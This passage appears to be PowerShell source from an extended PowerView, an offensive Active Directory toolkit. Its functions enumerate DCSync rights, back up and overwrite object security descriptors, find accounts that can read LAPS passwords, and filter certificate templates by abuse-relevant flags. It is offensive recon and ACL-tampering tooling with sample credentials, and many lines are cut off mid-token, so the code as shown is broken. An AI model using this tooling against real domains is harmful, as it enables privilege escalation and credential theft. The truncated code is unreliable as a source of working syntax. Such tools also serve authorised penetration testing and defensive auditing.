$Filter += "$LDAPFilter"
}
if ($Filter -and $Filter -ne '') {
$ObjectSearcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainDCSync] Get-DomainDCSync filter string: $($ObjectSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
else { $Results = $ObjectSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
}
else {
$Object = Convert-LDAPProperty -Properties $_.Properties
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
$Object
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDCSync] Error disposing of the Results object: $_"
}
}
$ObjectSearcher.dispose()
}
}
function Get-DomainObjectSD {
<#
.SYNOPSIS
Returns the ACLs associated with a specific active directory object. By default
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER OutFile
Output file of the SD's to be backed up in the CSV format.
.PARAMETER Check
Check the SD with the provided SD and report if it's the same or different.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObjectAcl -Identity charlie.clark -Domain testlab.local -SDDLString "O:S-1-5-21-2042794111
Set the SD for the charlie.clark user in the testlab.local domain to
the SD string specified by SDDLString.
.EXAMPLE
Set-DomainObjectSD -InputFile .\backup-sds.csv
Restore all of the SD's contained within the file .\backup-sds.csv.
.OUTPUTS
PSObject
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([PSObject])]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[String]
$OutFile,
[String]
$Check,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
}
$SearcherArguments['SecurityMasks'] = 'Dacl'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$Searcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($Searcher) {
$Filter = ''
$Checks = ''
$Identity | Get-IdentityFilterString | ForEach-Object {
$Filter += $_
}
if (!($Filter) -and $PSBoundParameters['Check'] -and (Test-Path -Path $Check -PathType Leaf)
$Checks = Import-Csv $Check
$Checks | ForEach-Object {$Filter += Get-IdentityFilterString $_.ObjectSID}
}
if ($Filter) {
$Searcher.filter = "(|$Filter)"
Write-Verbose "[Get-DomainObjectSD] Using filter: $($Searcher.filter)"
$Objects = @()
$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Object = $_.Properties
if ($Object.objectsid -and $Object.objectsid[0]) {
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid
}
else {
$ObjectSid = $Null
}
$SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -Argume
$SDDLObject = New-Object PSObject
$SDDLObject | Add-Member "ObjectSID" $ObjectSid
$SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15)
if ($Checks) {
$SDDLtoCheck = $Checks | Where-Object {$_.ObjectSID -eq $ObjectSid}
if ($SDDLtoCheck.ObjectSDDL -eq $SDDLObject.ObjectSDDL) {
Write-Verbose "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the sam
}
else {
Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is differen
$SDDLObject
$Objects += $SDDLObject
}
}
elseif ($PSBoundParameters['Check'] -and $Check -eq $SDDLObject.ObjectSDDL) {
Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same
}
elseif ($PSBoundParameters['Check']) {
Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different t
$SDDLObject
$Objects += $SDDLObject
}
else {
$SDDLObject
$Objects += $SDDLObject
}
}
if ($PSBoundParameters['OutFile']) {
try {
Write-Verbose "[Get-DomainObjectSD] Writing object SD information to $OutFile"
$Objects | ForEach-Object { Export-Csv -InputObject $_ -Path $OutFile -Append }
}
catch {
Write-Warning "[Get-DomainObjectSD] Unable to write $OutFile"
}
}
}
}
}
}
function Set-DomainObjectSD {
<#
.SYNOPSIS
Returns the ACLs associated with a specific active directory object. By default
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER InputFile
Input file containing the SD's to be restored in the CSV format that Get-DomainObjectSD outputs.
.PARAMETER SDDLString
SDDL String to use to restore the SD for Object(s) specified by Identity.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObjectAcl -Identity charlie.clark -Domain testlab.local -SDDLString "O:S-1-5-21-2042794111
Set the SD for the charlie.clark user in the testlab.local domain to
the SD string specified by SDDLString.
.EXAMPLE
Set-DomainObjectSD -InputFile .\backup-sds.csv
Restore all of the SD's contained within the file .\backup-sds.csv.
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[String]
$InputFile,
[String]
$SDDLString,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
}
$SearcherArguments['SecurityMasks'] = 'Dacl'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$Searcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($Searcher) {
$RestoreTargets = @{}
$Filter = ''
if ($PSBoundParameters['InputFile']) {
try {
Write-Verbose "[Set-DomainObjectSD] Reading provided input file: $InputFile"
Import-Csv $InputFile | ForEach-Object {
$RestoreTargets.Add($_.ObjectSID, $_.ObjectSDDL)
}
}
catch {
Write-Warning "[Set-DomainObjectSD] Unable to read $InputFile"
}
$RestoreTargets.keys | Get-IdentityFilterString | ForEach-Object {
$Filter += $_
}
}
elseif ($Identity -and $SDDLString) {
Write-Verbose "[Set-DomainObjectSD] Setting provided identities: $Identity"
$Identity | Get-IdentityFilterString | ForEach-Object {
$Filter += $_
}
}
if ($Filter) {
$Searcher.filter = "(|$Filter)"
$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Object = $_
if ($Object.Properties.objectsid -and $Object.Properties.objectsid[0]) {
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.Propertie
}
else {
$ObjectSid = $Null
}
if ($PSBoundParameters['InputFile']) {
$SDDLString = $RestoreTargets.$ObjectSid
}
# Build Raw SD
Write-Verbose "[Set-DomainObjectSD] Building raw SD from SDDL string: $SDDLString"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLS
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$Entry = $Object.GetDirectoryEntry()
try {
Write-Verbose "[Set-DomainObjectSD] Setting 'ntsecuritydescriptor' to '$SDBytes' for ob
$Entry.InvokeSet('ntsecuritydescriptor', $SDBytes)
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObjectSD] Error setting security descriptor for object '$($Ob
Write-Warning "[Set-DomainObjectSD] Make sure you have Owner privileges"
}
}
}
}
}
}
function Get-DomainDN {
<#
.SYNOPSIS
Returns the distinguished name for the current domain or the specified domain.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer
.DESCRIPTION
Returns the distinguished name for the current domain or the specified domain by executing
Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
to search for domain controllers through LDAP. The SID of the returned domain controller
is then extracted. Largely stolen from @harmj0y's Get-DomainSID.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.PARAMETER Certificate
Certificate to authenticate to LDAP with.
.PARAMETER CertPassword
Password for certificate being used to authentication to LDAP with.
.EXAMPLE
Get-DomainDN
.EXAMPLE
Get-DomainDN -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainDN -Credential $Cred
.OUTPUTS
String
A string representing the specified domain distinguished name.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[Switch]
$Obfuscate,
[String]
$Certificate,
[String]
$CertPassword
)
BEGIN {
$SearcherArguments = @{
'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
if ($PSBoundParameters['Certificate']) {$SearcherArguments['Certificate'] = $Certificate }
if ($PSBoundParameters['CertPassword']) {$SearcherArguments['CertPassword'] = $CertPasswor
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$DomainDN = "DC=$($Domain -replace '\.',',DC=')"
}
else {
$DCDN = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -Expan
if ($DCDN) {
$DomainDN = $DCDN.SubString($DCDN.IndexOf(',DC=')+1)
}
else {
Write-Verbose "[Get-DomainDN] Error extracting domain DN for '$Domain'"
}
}
if ($DomainDN) {
$DomainDN
}
else {
Write-Verbose "[Get-DomainDN] Error resolving domain DN for '$Domain'"
}
}
}
function Get-DomainLAPSReaders {
<#
.SYNOPSIS
Finds accounts that can view the LAPS password for machine accounts.
Author: Charlie Clark (@exploitph), Alexander Sturz (@_61106960_)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computer
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainLAPSReaders
Returns the LAPS reader information in current domain.
#>
[OutputType([PSObject])]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('SamAccountName', 'Name', 'DNSHostName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Switch]
$SSL,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$Searcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
try {
$Filter = ''
$ACLs = @()
if (!($Identity)) {
$Identity = (Get-DomainComputer -HasLAPS @SearcherArguments).objectsid
}
if ($Identity) {
$Identity | Get-DomainObjectAcl -RightsFilter ReadLAPS @SearcherArguments | ForEach-O
if (!($Filter) -or ($Filter -notmatch $_.ObjectSID)) {
Write-Verbose "[Get-DomainLAPSReaders] Adding $($_.ObjectSID) to filter"
$Filter += "(objectsid=$($_.ObjectSID))"
}
if ($Filter -notmatch $_.SecurityIdentifier) {
Write-Verbose "[Get-DomainLAPSReaders] Adding $($_.SecurityIdentifier) to filter"
$Filter += "(objectsid=$($_.SecurityIdentifier))"
}
$ACLs += $_
}
if ($Filter) {
$Accounts = @()
$Searcher.filter = "(|$Filter)"
Write-Verbose "[Get-DomainLAPSReaders] Using filter: $($Searcher.filter)"
$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Accounts += $_.Properties
}

$ACLs | ForEach-Object {
$ObjectSID = $_.ObjectSID
$PrincipalSID = $_.SecurityIdentifier
$ADRights = $_.ActiveDirectoryRights
$Object = $Accounts | ?{(New-Object System.Security.Principal.SecurityIdentifier($_.obj
$Principal = $Accounts | ?{(New-Object System.Security.Principal.SecurityIdentifier($_.o
$OutObject = New-Object PSObject
if ($Object) {
$OutObject | Add-Member "ObjectName" $Object.samaccountname[0]
$OutObject | Add-Member "ObjectType" ($Object.samaccounttype[0] -as $SamAccou
}
$OutObject | Add-Member "ObjectSID" $ObjectSID
$OutObject | Add-Member "ActiveDirectoryRights" $ADRights
if ($Principal) {
$OutObject | Add-Member "PrincipalName" $Principal.samaccountname[0]
$OutObject | Add-Member "PrincipalType" ($Principal.samaccounttype[0] -as $SamAc
if ($OutObject.PrincipalType -eq 'GROUP_OBJECT' -or $OutObject.PrincipalType -eq
$PrincipalMembers = @()
$Principal | Get-DomainGroupMember -Recurse @SearcherArguments | ForEach-O
$Member = $_
$Member
if ($Member.MemberObjectClass -ne 'group') {
$PrincipalMembers += $Member
}
}
$OutObject | Add-Member "RecursivePrincipalMembers" $PrincipalMembers
}
}
$OutObject | Add-Member "PrincipalSID" $PrincipalSID
$OutObject
}
}
}

}
catch {
Write-Verbose "[Get-DomainLAPSReaders] Error retrieving LAPS reader information: $_"
}
}
}
function Get-DomainEnrollmentServers {
<#
.SYNOPSIS
Returns the certificate enrollment servers for the current domain or the specified domain.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject, Get-DomainDN
.DESCRIPTION
Returns the certificate enrollment servers for the current domain or the specified domain by searching
CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in
@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pr
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainEnrollmentServers
.EXAMPLE
Get-DomainEnrollmentServers -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainEnrollmentServers -Credential $Cred
.OUTPUTS
PS Objects representing the specified domain enrollment servers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DomainDN = Get-DomainDN @SearcherArguments
if ($DomainDN) {
Write-Verbose "[Get-DomainEnrollmentServers] Got domain DN: $DomainDN"
}
else {
Write-Verbose "[Get-DomainEnrollmentServers] Error extracting domain DN for '$Domain'"
}
Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=pKIE
}
function Get-DomainCertificateTemplate {
<#
.SYNOPSIS
Returns the certificate enrollment servers for the current domain or the specified domain.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject, Get-DomainDN
.DESCRIPTION
Returns the certificate templates for the current domain or the specified domain by searching
CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in
@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pr
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SubjectAltRequireDns
The returned templates should have the CT_FLAG_SUBJECT_ALT_REQUIRE_DNS flag.
.PARAMETER MachineType
The returned templates should have the CT_FLAG_MACHINE_TYPE flag.
.PARAMETER AutoEnrollment
The returned templates should have the CT_FLAG_AUTO_ENROLLMENT flag.
.PARAMETER NoSecurityExtension
The returned templates should have the CT_FLAG_NO_SECURITY_EXTENSION flag.
.PARAMETER EnrolleeSuppliesSubject
The returned templates allows the enrollee to supply the certificate subject.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.PARAMETER Certificate
Certificate to authenticate to LDAP with.
.PARAMETER CertPassword
Password for certificate being used to authentication to LDAP with.
.EXAMPLE
Get-DomainCertificateTemplate
.EXAMPLE
Get-DomainCertificateTemplate -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainEnrollmentServers -Credential $Cred
.OUTPUTS
PS Objects representing the specified domain enrollment servers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[String]
$Name,
[Switch]
$SubjectAltRequireDns,
[Switch]
$MachineType,
[Switch]
$AutoEnrollment,
[Switch]
$NoSecurityExtension,
[Switch]
$EnrolleeSuppliesSubject,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw,
[Switch]
$SSL,
[Switch]
$Obfuscate,
[String]
$Certificate,
[String]
$CertPassword
)
BEGIN {
$DNArguments = @{}
if ($PSBoundParameters['Domain']) { $DNArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DNArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DNArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $DNArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) { $DNArguments['Obfuscate'] = $Obfuscate }
if ($PSBoundParameters['Certificate']) {$DNArguments['Certificate'] = $Certificate }
if ($PSBoundParameters['CertPassword']) {$DNArguments['CertPassword'] = $CertPassword }
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) { $SearcherArguments['Obfuscate'] = $Obfuscate }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
if ($PSBoundParameters['Certificate']) {$SearcherArguments['Certificate'] = $Certificate }
if ($PSBoundParameters['CertPassword']) {$SearcherArguments['CertPassword'] = $CertPasswor
}
PROCESS {
$DomainDN = Get-DomainDN @DNArguments
if ($DomainDN) {
Write-Verbose "[Get-DomainEnrollmentServers] Got domain DN: $DomainDN"
}
else {
Write-Verbose "[Get-DomainEnrollmentServers] Error extracting domain DN for '$Domain'"
}
$Filter = ""
if ($PSBoundParameters['Name']) {
$Filter += "(name=$($Name))"
}
if ($PSBoundParameters['SubjectAltRequireDns']) {
$Filter += "(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=134217728)"
}
if ($PSBoundParameters['MachineType']) {
$Filter += "(flags:1.2.840.113556.1.4.804:=64)"
}
if ($PSBoundParameters['AutoEnrollment']) {
$Filter += "(flags:1.2.840.113556.1.4.804:=32)"
}
if ($PSBoundParameters['NoSecurityExtension']) {
$Filter += "(mspki-enrollment-flag:1.2.840.113556.1.4.804:=32768)"
}
if ($PSBoundParameters['EnrolleeSuppliesSubject']) {
$Filter += "(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1)"
}
Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(&(objectclass=pki
}
}
function Get-DomainCACertificates {
<#
.SYNOPSIS
Returns the CA certificates for the current domain or the specified domain.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject, Get-DomainDN
.DESCRIPTION
Returns the CA certificates for the current domain or the specified domain by searching
CN=Configuration,[DomainDN] for (objectCategory=pKIEnrollmentService) as described in
@harmj0y and @tifkin's Certified_Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pr
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainCACertificates
.EXAMPLE
Get-DomainCACertificates -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainCACertificates -Credential $Cred
.OUTPUTS
PS Objects representing the specified domain CA certificates.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
